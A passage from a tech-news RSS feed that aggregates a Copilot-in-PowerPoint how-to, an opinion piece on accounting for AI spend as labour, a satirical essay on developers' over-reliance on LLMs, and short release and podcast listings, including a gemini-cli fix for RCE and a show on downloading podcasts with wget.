</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading">7. Summarize a presentation</h2>



<p class="wp-block-paragraph">Maybe you need a quick refresh of your presentation before an important meeting. Or maybe a co-worker has sent you a presentation that’s packed with lots of slides. You can prompt Copilot to generate a summary of the presentation’s overall messaging.</p>



<p class="wp-block-paragraph">In the Copilot pane, just type “<em>summarize this presentation</em>.” You can also have Copilot flag key slides that contain important information: “<em>show me key slides</em>.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-10-summarize-key-slides.png?w=1024" alt="screenshots of copilot sidebar in powerpoint - one with summarize results and one with key slides response" class="wp-image-4195095" width="1024" height="774" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot to summarize a presentation or flag key slides.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>8. Answer questions about a presentation</h2>



<p class="wp-block-paragraph">As you’re reviewing a presentation, especially one that you didn’t create and are not familiar with, you can get Copilot to pull key data points from its slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, type specific informational questions. Examples:</p>



<ul class="wp-block-list">
<li><em>What are the action items in this deck?</em></li>



<li><em>What is the proposed budget mentioned here?</em></li>
</ul>



<p class="wp-block-paragraph">If Copilot can’t find the exact answer to the question you ask, it will provide related information from the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-11-ask-questions-about-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response to query about proposed budget in the slide deck" class="wp-image-4195093" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot specific questions about the contents of a presentation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">This method can also help you validate that your presentation includes everything you want it to. If you ask Copilot about the action items in a presentation and it can’t find any, you know you need to add them. (Copilot will likely offer to generate them for you based on the rest of the slides.)</p>



<p class="wp-block-paragraph">You can even take this tactic a step further and ask Copilot if the presentation is missing any important data, if any slides are weak or confusing, if there are any awkward transitions, if there are key points that should be better emphasized, and so on.</p>



<h2 class="wp-block-heading"><a></a>9. Help you navigate a large presentation</h2>



<p class="wp-block-paragraph">In the business world, presentations with dozens of slides are not uncommon, such as for financial reports or project documentation. Trying to find a specific slide or multiple slides can be tough. Copilot can help you navigate such a presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, prompt Copilot to find slides based on specific topics. Example:</p>



<ul class="wp-block-list">
<li><em>Show me the slides about the project timeline.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will analyze the presentation and reply with a list of links to the relevant slides. Click one of these to jump directly to that slide.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-12-navigate-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response about the slide that talks about target audience" class="wp-image-4195096" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can help you zoom directly to a slide that covers a particular topic or shows specific data.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>10. Generate speaker notes and/or an FAQ</h2>



<p class="wp-block-paragraph">Here’s a great timesaver when you’re preparing to show your presentation to an audience: Copilot can automatically generate suggested speaker notes for you, based on the content of your slides. Example prompt:</p>



<ul class="wp-block-list">
<li><em>Write speaker notes for every slide with one talking point per slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-13-speaker-notes.png?w=1024" alt="screenshot of powerpoint presentation with speaker notes generated by copilot" class="wp-image-4195092" width="1024" height="607" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can create speaker notes in seconds.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">In a related feature, Copilot can create a frequently asked questions list (FAQ) for you to consult in your speaker notes or to present as a slide:</p>



<ul class="wp-block-list">
<li><em>Write an FAQ for these slides.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will ask where you want the questions and answers added — as a new slide at the end, integrated into the speaker notes of relevant slides, or somewhere else that you designate. Make a selection, and Copilot will generate the FAQ based on the content of your presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-14-generated-faq-slide.png?w=1024" alt="screenshot of frequently asked questions slide generated by copilot in powerpoint" class="wp-image-4195091" width="1024" height="609" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A Copilot-generated FAQ slide.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h4 class="wp-block-heading"><strong>Related reading:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4119411/11-cool-things-copilot-can-do-in-excel.html">11 cool things Copilot can do in Excel</a></li>



<li><a href="https://www.computerworld.com/article/4022584/9-ways-copilot-can-turbocharge-onenote.html">9 ways Copilot can turbocharge OneNote</a></li>



<li><a href="https://www.computerworld.com/article/1647230/powerpoint-for-microsoft-365-cheat-sheet.html">PowerPoint for Microsoft 365 cheat sheet</a></li>



<li><a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat: Your hub for document creation and analysis</a></li>



<li><a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">How to curb hallucinations in Copilot (and other genAI tools)</a></li>



<li><a href="https://www.computerworld.com/article/3479705/how-to-use-microsoft-copilot-for-writing-in-microsoft-365-word-outlook-onenote.html">Microsoft Copilot can boost your writing in Word, Outlook, and OneNote — here’s how</a></li>



<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html">More Microsoft tips and tutorials</a></li>
</ul>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI bill is the easy part. The hard part is everything it changed]]></title>
<description><![CDATA[Your CFO has a simple question. “We’re spending more on AI. What are we getting for it?” Most CIOs cannot answer it — not because AI isn’t creating value, but because the accounting systems we inherited were built before AI existed as a category of labor.



This June, the conversation shifted fr...]]></description>
<link>https://tsecurity.de/de/3685909/it-security-nachrichten/the-ai-bill-is-the-easy-part-the-hard-part-is-everything-it-changed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685909/it-security-nachrichten/the-ai-bill-is-the-easy-part-the-hard-part-is-everything-it-changed/</guid>
<pubDate>Wed, 22 Jul 2026 12:14:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Your CFO has a simple question. “We’re spending more on AI. What are we getting for it?” Most CIOs cannot answer it — not because AI isn’t creating value, but because the accounting systems we inherited were built before AI existed as a category of labor.</p>



<p class="wp-block-paragraph">This June, the conversation shifted from token maxing to token cutting. <a href="https://www.nytimes.com/">The New York Times</a> reported that Meta, Uber, Walmart and Amazon are capping employee AI usage. Uber blew through its 2026 AI budget in four months. Satya Nadella started framing it as human capital versus token capital.</p>



<p class="wp-block-paragraph">All of that is true. None of it answers the CFO. Capping tokens is an input lever, not an output measure. And the <a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">human-versus-token framing</a> names two sources of labor when the reality is four.</p>



<h2 class="wp-block-heading">The enterprise now has 4 sources of labor</h2>



<p class="wp-block-paragraph">There are humans. There are humans assisted by AI. Humans are working alongside AI. And humans are managing AI. Sources two through four are all supervised machine labor at different intensities — none of them have a line item, a manager or an hourly rate. In our <a href="https://withlanai.com/ai-labor-report">2026 AI Labor Report</a>, 78% of leaders view AI as both software and a labor force. The org chart has not caught up. Neither has the P&amp;L.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-1-four-source-framework.png?w=1024" alt="Four-source framework and A-Level taxonomy: Lanai  ·  Lanai / Wakefield Research, n=200, March–April 2026" class="wp-image-4198947" width="1024" height="502" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Four-source framework and A-Level taxonomy: Lanai  ·  Lanai / Wakefield Research, n=200, March–April 2026</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<p class="wp-block-paragraph">Most enterprises are stuck at A-Level 1 with no accounting for any of it, while quietly sliding into A-Level 2. The job descriptions have not caught up. The budget has not caught up. You cannot upskill into a role that has not been named.</p>



<p class="wp-block-paragraph">AI is the only category of work the modern enterprise has ever bought without a system of record for what it produced.</p>



<h2 class="wp-block-heading">What you are actually running is supervised machine labor</h2>



<p class="wp-block-paragraph">The model does a first pass. A human makes it usable. One hundred percent of leaders we surveyed said AI work requires human review before it ships; 34% said substantial editing. That is a workforce with no manager, no hourly rate and no line on the income statement.</p>



<h3 class="wp-block-heading">The accounting breaks in 3 places at once</h3>



<p class="wp-block-paragraph">Under GAAP: COGS if it helps produce the product, OpEx if it does work for you. The same workflow can hit all three buckets at once. A tier-one support resolution involves the human’s salary (OpEx), the AI’s tokens (COGS if support is a delivered service), and the supervisor’s review time (OpEx). Three buckets. One piece of work. No reconciliation. The token invoice arrives from Anthropic or OpenAI and gets coded to OpEx-software because that is what the bill looks like. Audit partners will be asking about this by next year.</p>



<p class="wp-block-paragraph">When you call AI a tool, you book it like software. When you call it labor, you have to ask which kind and what it is producing.</p>



<h2 class="wp-block-heading">The per-employee number is the wrong unit</h2>



<p class="wp-block-paragraph">Per-employee AI spend collapses a workforce into a per-head average. It hides the only number that matters: What AI is producing inside each workflow.</p>



<p class="wp-block-paragraph">Lanai measured two teams inside the same finance organization. Same monthly prep and variance analysis. AI took the same amount of time to produce outputs of similar quality. The only variable was the model each team reached for by default — a choice nobody had made deliberately and <a href="https://withlanai.com/ai-labor-report">nobody had seen until it was measured</a>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-2-white-labeled-example.png?w=1024" alt="White-labeled example. Workflow profile, hours and economics drawn from a representative customer engagement." class="wp-image-4198945" width="1024" height="485" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>White-labeled example. Workflow profile, hours and economics drawn from a representative customer engagement.</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<p class="wp-block-paragraph">The gap existed for months before anyone saw it.</p>



<p class="wp-block-paragraph">Faith-based budgeting — the organizational equivalent of putting money in the collection plate and hoping God handles the ROI — is what made it invisible.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-3-lanai-wakefield-research.png?w=1024" alt="Lanai / Wakefield Research  ·  n=200  ·  U.S. enterprises 1,000+  ·  March–April 2026" class="wp-image-4198944" width="1024" height="199" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Lanai / Wakefield Research  ·  n=200  ·  U.S. enterprises 1,000+  ·  March–April 2026</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<h2 class="wp-block-heading">AI labor orphaning</h2>



<p class="wp-block-paragraph">That is not a measurement problem. It is a category error. We call it AI Labor Orphaning. AI does the work. The output gets credited to the human who approved it. The token bill lands in OpEx-software. The supervision time absorbs into salaried hours nobody is auditing. Eighty-seven percent of leaders admitted AI output is sometimes or always credited entirely to the human employee. This is the last-click attribution problem of the AI era, running in reverse.</p>



<p class="wp-block-paragraph">What fills the vacuum? Belief. Forty-three percent assume that if AI was involved, it contributed. Only twelve percent have a clear methodology. Seventy-nine percent are worried AI budgets will be cut because they cannot connect spend to results. The cuts are not coming because AI does not work. They are coming because nobody can prove that it did.</p>



<p class="wp-block-paragraph">Capping tokens may look like responsible governance, but it is like turning off a staticky radio rather than tuning the dial. The companies cutting AI budgets in 2026 will discover in 2027 that they cut the workflows that worked alongside the ones that did not.</p>



<h2 class="wp-block-heading">The real cost of AI is not the model. It is the redesign</h2>



<p class="wp-block-paragraph">Three layers. Most organizations only manage the first.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-4-managing-layer-one.png?w=1024" alt="Managing Layer 1 without Layers 2 and 3 is how you optimize the invoice while missing the transformation." class="wp-image-4198946" width="1024" height="335" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Managing Layer 1 without Layers 2 and 3 is how you optimize the invoice while missing the transformation.</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<h2 class="wp-block-heading">What to actually do</h2>



<p class="wp-block-paragraph">The <a href="https://withlanai.com/ai-labor-report">12% of organizations</a> that can answer the CFO treat AI like every other category of labor — with a cost per AI Work Hour that is accounted for by a set of AI assistants, co-pilots and agents that are held accountable to performance standards. </p>



<ul class="wp-block-list">
<li>Audit the four sources separately. Each A-Level has different token economics, SaaS implications and human redesign requirements.</li>



<li>Find the embedded SaaS repricing before your next renewal. Pull your top 20 contracts. Ask whether AI features previously included are now priced incrementally.</li>



<li>Redesign the human role at A-Level 2 before you scale it. You cannot upskill into a role that has not been named.</li>



<li>Build a system of record before you build the next agent. Start with one department. Two weeks. You will find something that surprises you.</li>



<li>Stop calling it a tool. Start calling it labor. The language determines the chart of accounts.</li>
</ul>



<p class="wp-block-paragraph">When your blended AI rate is $22 an hour, the conversation shifts from ‘we spent $340,000 on AI’ to ‘we acquired a skilled workforce at $22 an hour.’ That sentence is defensible. A vendor invoice is not.</p>



<p class="wp-block-paragraph">The CIOs who will have a defensible AI story in 2027 are the ones who renamed the work in 2026. Not because technology changed. Because they finally built the accounting to see it.</p>



<p class="wp-block-paragraph"><em>Findings are drawn from the </em><a href="https://withlanai.com/ai-labor-report">2026 AI Labor Report</a><em>, fielded by Wakefield Research with 200 senior technology leaders at US enterprises of 1,000-plus employees, March 20–April 8, 2026 (±6.9pp at 95% confidence).</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Seven sins of the modern software developer]]></title>
<description><![CDATA[If you ask us in an official setting, our official position is that software engineering norms still apply. Rigorous CI/CD pipelines, elegant architectural patterns, and an unyielding commitment to maintainable code remain the standard. We will use weighty words like “determinism,” “scalability,”...]]></description>
<link>https://tsecurity.de/de/3685746/ai-nachrichten/seven-sins-of-the-modern-software-developer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685746/ai-nachrichten/seven-sins-of-the-modern-software-developer/</guid>
<pubDate>Wed, 22 Jul 2026 11:04:50 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">If you ask us in an official setting, our official position is that software engineering norms still apply. Rigorous CI/CD pipelines, elegant architectural patterns, and an unyielding commitment to maintainable code remain the standard. We will use weighty words like “determinism,” “scalability,” “idempotency,” and “domain-driven design.”</p>



<p class="wp-block-paragraph">But behind closed doors, late at night, bathed in the glow of a dark-mode IDE, a different and more sordid reality is exposed. Hunched over the console with a manic gleam in the eye, the programmer has become power-drunk on <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" data-type="link" data-id="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">LLMs</a>. Like mad wizards casting spells, we summon the awesome powers of models and agents to satisfy our every programming whim—and commit acts of software engineering that would make <a href="https://en.wikipedia.org/wiki/Fred_Brooks">Fred Brooks</a> blush.</p>



<p class="wp-block-paragraph">Let’s just be honest about what is actually happening.</p>



<h2 class="wp-block-heading">Esoteric knowledge is superfluous</h2>



<p class="wp-block-paragraph">Forget <a href="https://www.infoworld.com/article/2335255/what-is-object-oriented-programming-the-everyday-programming-style.html">OOP</a> and <a href="https://www.infoworld.com/article/2263963/what-is-functional-programming-a-practical-guide.html">FP</a>. Forget the <a href="https://en.wikipedia.org/wiki/CAP_theorem">CAP theorem</a>, the holy crusade of <a href="https://en.wikipedia.org/wiki/Don%27t_repeat_yourself">DRY</a>, and the design patterns. Honestly, you can even forget what frameworks, runtimes, and deployment platforms you are using. The AI will figure out what is best to use and understand what is already in place. We have more mental bandwidth for working on our side project (a novel about AI taking over the world). </p>



<p class="wp-block-paragraph">Of course, I exaggerate. A little.</p>



<h2 class="wp-block-heading">The docs are dead to us</h2>



<p class="wp-block-paragraph">We still say RTFM, but the truth is, we haven’t really read a page of vendor documentation since 2023. <a href="https://www.infoworld.com/article/3993482/ai-didnt-kill-stack-overflow.html">Stack Overflow</a>, once our Internet Mecca, is a husk. When a package throws a weird exception, we don’t trace the execution path or read the release notes. We highlight the red text, copy the entire 200-line stack trace, dump it into the chat, and wait for the machine to spoon-feed us the solution.</p>



<p class="wp-block-paragraph">Better yet, we just have the agentic IDE spot the error, divine a solution, and ask us if it’s OK. We might glance at the problem-solution description, if we have gone around the circle on the problem for a few cycles. Maybe. If we don’t have the agent set up for auto-confirm.</p>



<p class="wp-block-paragraph">We used to buy heavy tomes like “Rust In Action” that were more like masonry blocks than literature. Now? We just ask an AI to transliterate our JavaScript logic into Rust. We are no longer engineers methodically learning a system. We are glorified copy-paste orchestrators hoping that the stochastic parrot behind the prompt guesses the syntax correctly.</p>



<h2 class="wp-block-heading">We ignore how the back end is wired</h2>



<p class="wp-block-paragraph">We act like we meticulously designed the data flows, carefully crafted the relational constraints, and mindfully mapped the API relationships. The reality is rather more disturbing: We asked the AI to scaffold a modern deployment, hooked it up to a back-end database, and just sort of… ran it.</p>



<p class="wp-block-paragraph">It created security rules we don’t fully understand. They do seem to work, however, which is nice. </p>



<p class="wp-block-paragraph">It generated a schema that we skimmed for about four seconds. It looks reasonable.</p>



<p class="wp-block-paragraph">It wrote <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html" data-type="link" data-id="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure-as-code</a> scripts that provisioned cloud resources we are hoping don’t blow a hole in the budget. Presumably, whoever is in charge of that will manage it by stuffing the metrics into another chatbot.</p>



<p class="wp-block-paragraph">We nodded, committed the code, and went to lunch. If management asked us to manually deploy the stack from scratch, configure the environment variables, and wire the API routes without our chat window, we would give them a vacant stare.</p>



<p class="wp-block-paragraph">We understand that management is also using AI to manage the project.</p>



<h2 class="wp-block-heading">Our tests are uncomfortably incestuous</h2>



<p class="wp-block-paragraph">Test-driven development (TDD) used to be a beautiful dream, ever just beyond reach. It made us feel glorious and despondent at turns. It would burden us with sprawling dependencies if implemented too religiously. (See <a href="https://grugbrain.dev/#grug-on-testing">The Grug Brained Developer</a> in this regard.)</p>



<p class="wp-block-paragraph">But now we can attain 95% test coverage almost effortlessly. Why not just add them in while we are auto-generating everything else?</p>



<p class="wp-block-paragraph">We can now wax at length to anyone who will listen about our astounding test coverage and our automated quality assurance. Unit tests, integration tests, smoke tests, you name it. What we conveniently leave out is that the AI wrote the complex application logic, and then we asked <em>the exact same AI</em> to write the test suite to validate the code it just dreamed up.</p>



<p class="wp-block-paragraph">It is a hermetically sealed loop of algorithmic self-congratulation. The mocks, the edge case, and the assertions are an echo chamber of the model’s original assumptions. The machine is grading its own homework, giving itself an A+.</p>



<p class="wp-block-paragraph">And we are happy to accept this because, beautifully, when the code has to change, the AI will effortlessly hallucinate new tests to adapt to the churn.</p>



<h2 class="wp-block-heading">We pass off the AI’s architecture as strategy</h2>



<p class="wp-block-paragraph">AI can produce astonishing design documents. Truly breathtaking. They are cogent, they’re beautifully formatted, and they seamlessly bridge the gap between high-level business goals and granular technical specs. They even include those auto-generated sequence diagrams that wow management.</p>



<p class="wp-block-paragraph">When we present these spotless architectural proposals in the Tuesday sprint planning meeting, we lean back, take a long sip of coffee, and humbly wave away the team’s praise.</p>



<p class="wp-block-paragraph">What we don’t mention is that we spent exactly four seconds generating it.</p>



<p class="wp-block-paragraph">Are these AI-generated documents just as liable as human ones to hide severe, mortal flaws in scope and alignment? Absolutely. They might contain a foundational logic bomb that will eventually doom the entire project. But the markdown is so crisp, and the bullet points are so persuasive, that the eye just glides right over it. We will never truly know the depth of the disaster until it is far too late. But hey, we’ll burn that bridge when production catches fire. Until then, we are strategic visionaries.</p>



<h2 class="wp-block-heading">We’re addicted to vibe coding (but only in secret)</h2>



<p class="wp-block-paragraph">We loudly mock the term on social media. We roll our eyes in Slack channels when the kids on TikTok talk about <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" data-type="link" data-id="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html">vibe coding</a> their new startups. We fiercely cling to our identities as hardened, serious developers who understand memory management, garbage collection, and bitwise operators. We are professionals, damn it.</p>



<p class="wp-block-paragraph">But late at night, when the managers are asleep and no one is looking? We absolutely love it. We love just throwing a chaotic, half-baked thought at the canvas, pouring a drink, and watching the AI magically build a functioning user interface based entirely on our long-deferred whims. I may finally build that working <a href="https://en.wikipedia.org/wiki/Ultima_V%3A_Warriors_of_Destiny" data-type="link" data-id="https://en.wikipedia.org/wiki/Ultima_V%3A_Warriors_of_Destiny">Ultima V</a> clone. The thrill of typing “Create an app that tracks my cryptocurrency portfolio but makes it look like the interface from Neuromancer” and having it appear 30 seconds later is heady stuff.</p>



<p class="wp-block-paragraph">The more deeply rooted in the hard, old-school realities of programming, the more profound is the joy the developer finds in the possibility of AI coding. </p>



<h2 class="wp-block-heading">We beat the problem into submission with prompts</h2>



<p class="wp-block-paragraph">Like Adam Sandler in “Uncut Gems,” we are convinced the next round will fix everything. This is us with prompts. When things are going really off the rails, instead of putting our boots on and wading into the brambles of complexity, we resort to tonal adjustments. These range from the condescending: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">This problem is not fixed. Look at it closely. The error is right here.</p>
</blockquote>



<p class="wp-block-paragraph">To the desperate: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">We have been working on this same problem for hours now!</p>
</blockquote>



<p class="wp-block-paragraph">To the pathetic: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Can’t you find a different approach to try?!</p>
</blockquote>



<p class="wp-block-paragraph">The astonishing part? It often works.</p>



<p class="wp-block-paragraph">But there is no poetry left at the bottom of the rabbit hole; it is verbal warfare. When the context window collapses, when the regressions start cascading, and when the AI stubbornly refuses to follow the most basic rules of temporal logic, the mask of professionalism drops away and something far more atavistic makes its appearance. We stop asking nicely, stop trying to understand the why, delete the pleasantries, and capslock our intent.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">What we have here is a failure to communicate! </p>
</blockquote>



<p class="wp-block-paragraph">We feed the same failing stack trace back into the prompt over and over and over again, aggressively hammering the constraints, explicitly forbidding certain libraries, and pasting in release notes just to confirm that the AI lacks the latest APIs. We force the model down a narrower and narrower path until the code finally stops throwing errors. We don’t actually debug anymore, trace variables, or step through functions. We just apply relentless, iterative pressure until the machine surrenders. We beat it into submission. And then, we push to production.</p>



<p class="wp-block-paragraph">In fact, there is a real skill here—a sheer “will to completion” that remains in the act of building software. We invest just as much time, energy, and heart wrestling the bot as we ever did emitting syntax.</p>



<h2 class="wp-block-heading">A blacker box</h2>



<p class="wp-block-paragraph">The only profession more given over to using AI like a cursed Level 13 artifact than programming is writing. Writing of course is far more open to public scrutiny than code.</p>



<p class="wp-block-paragraph">And while my tongue has been firmly in my cheek here, my faith in coders as good guys makes me more curious to see what we create than troubled by the dangers. </p>



<p class="wp-block-paragraph">It was once the case that only other programmers could understand what programmers were doing, what they were producing. Now not even that is true. Only the machine knows what the machine is doing. We just keep it tethered to our aims. Hopefully.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[PR #38252 verification videos]]></title>
<description><![CDATA[Before/after verification recordings for PR #38252.]]></description>
<link>https://tsecurity.de/de/3685318/downloads/pr-38252-verification-videos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685318/downloads/pr-38252-verification-videos/</guid>
<pubDate>Wed, 22 Jul 2026 07:31:35 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Before/after verification recordings for PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4945624443" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/38252" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/38252/hovercard" href="https://github.com/anomalyco/opencode/pull/38252">#38252</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.52.0-nightly.20260722.gc776c665b]]></title>
<description><![CDATA[What's Changed

fix(a2a-server): enforce workspace trust and task isolation to prevent RCE by @luisfelipe-alt in #28470

Full Changelog: v0.52.0-nightly.20260721.gacae7124b...v0.52.0-nightly.20260722.gc776c665b]]></description>
<link>https://tsecurity.de/de/3685086/downloads/release-v0520-nightly20260722gc776c665b/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685086/downloads/release-v0520-nightly20260722gc776c665b/</guid>
<pubDate>Wed, 22 Jul 2026 03:37:15 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>fix(a2a-server): enforce workspace trust and task isolation to prevent RCE by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933898579" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28470" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28470/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28470">#28470</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.52.0-nightly.20260721.gacae7124b...v0.52.0-nightly.20260722.gc776c665b"><tt>v0.52.0-nightly.20260721.gacae7124b...v0.52.0-nightly.20260722.gc776c665b</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4688: Downloading Podcasts with a Shell Script]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.






01 Introduction






In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget. 


I will illustrate this using a bash script that can be used to download HPR podcasts.


Even if you d...]]></description>
<link>https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/</guid>
<pubDate>Wed, 22 Jul 2026 02:06:46 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

</p>

<p>
01 Introduction</p>

<p>

</p>

<p>
In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget. </p>

<p>
I will illustrate this using a bash script that can be used to download HPR podcasts.</p>

<p>
Even if you do not have any interest in downloading your podcasts using this method, you may find some of the methods useful or interesting.</p>

<p>
It is the principles that are discussed here that are important, rather than the implementation. </p>

<p>

</p>

<p>
02</p>

<p>
I realize that there are already a number of different podcast download programs available,  including at least one written in bash. </p>

<p>
However, you may feel that none of these suit how you wish to do things and want to create your own system tailored to your specific needs.</p>

<p>
If so, then I hope the following is of some use to you.</p>

<p>
If not, then you may still find some of the things discussed here to still be of interest.</p>

<p>

</p>

<p>
Some of the subjects I cover include</p>

<p>
wget to a user defined file name.</p>

<p>
parsing xml with xmllint.</p>

<p>
using inotifywait to trigger an action when a file is created or modified.</p>

<p>
using notify-send to send a message to the notification area.</p>

<p>
and</p>

<p>
a way of allowing a cron job to send a message to the user interface.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
03 Background</p>

<p>

</p>

<p>
